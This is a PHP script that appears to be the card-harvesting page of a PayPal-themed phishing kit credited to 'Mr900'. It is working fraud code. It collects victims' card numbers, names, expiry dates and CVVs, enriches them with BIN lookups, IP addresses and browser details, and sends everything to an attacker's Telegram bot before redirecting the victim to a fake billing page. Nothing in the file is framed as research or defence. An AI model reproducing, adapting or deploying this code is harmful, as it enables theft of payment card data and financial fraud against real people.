<?php

include "../../Config.php";
require "../os.php";
require "../geoplugin.php";
include('../getig.php');

// Get card details from POST
$cardNumber = isset($_POST['cardNumber']) ? $_POST['cardNumber'] : '';
$cardName = isset($_POST['cardName']) ? $_POST['cardName'] : '';
$expiryDate = isset($_POST['expiryDate']) ? $_POST['expiryDate'] : '';
$cvv = isset($_POST['cvv']) ? $_POST['cvv'] : '';

// Extract BIN (first 6 digits)
$bin = substr(preg_replace('/[^0-9]/', '', $cardNumber), 0, 6);

// Lookup BIN information (using a free API)
$binData = [];
if (!empty($bin)) {
    $binLookupUrl = "https://lookup.binlist.net/$bin";
    $binResponse = @file_get_contents($binLookupUrl);
    
    if ($binResponse !== false) {
        $binData = json_decode($binResponse, true);
    }
}

// Prepare the message
$message = "💳########## 【 CARD INFORMATION 】 ##########💳\n";
$message .= "\n";
$message .= "👤 Card Name   : " . $cardName . "\n";
$message .= "💳 Card Number : " . $cardNumber . "\n";
$message .= "📅 Expiry Date : " . $expiryDate . "\n";
$message .= "🔐 CVV        : " . $cvv . "\n";
$message .= "\n";
$message .= "🏦########## 【 BIN INFORMATION 】 ##########🏦\n";
$message .= "\n";
$message .= "🔢 BIN         : " . $bin . "\n";
$message .= "🏛️ Bank        : " . (!empty($binData['bank']['name']) ? $binData['bank']['name'] : 'Unknown') . "\n";
$message .= "💳 Brand       : " . (!empty($binData['brand']) ? $binData['brand'] : 'Unknown') . "\n";
$message .= "🔄 Type        : " . (!empty($binData['type']) ? $binData['type'] : 'Unknown') . "\n";
$message .= "🌍 Country     : " . (!empty($binData['country']['name']) ? $binData['country']['name'] : 'Unknown') . "\n";
$message .= "\n";
$message .= "🌐########### 【 IP TRACING INFO 】 ###########🌐\n";
$message .= "\n";
$message .= "🆔 IP      : https://whatismyip.com/ip/" . $_SERVER['REMOTE_ADDR'] . "\n";
$message .= "🕒 Time    : " . date('Y-m-d H:i:s') . "\n";
$message .= "🖥️ Browser : " . $_SERVER['HTTP_USER_AGENT'] . "\n";
$message .= "\n";
$message .= "💳################【 PAYPAL 】###############💳\n";
$message .= "\n©️ Mr900 | Telegram @mr900com\n"; // Copyright in the message

@file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message));

$dir = "billing.php?country.x=".$countrycode."&locale.x=".getLG($countrycode)."_".$countrycode."&customer.x=ID-PA".$hash."&safety=".$hash2;
header('Location: ../'.$dir);

?>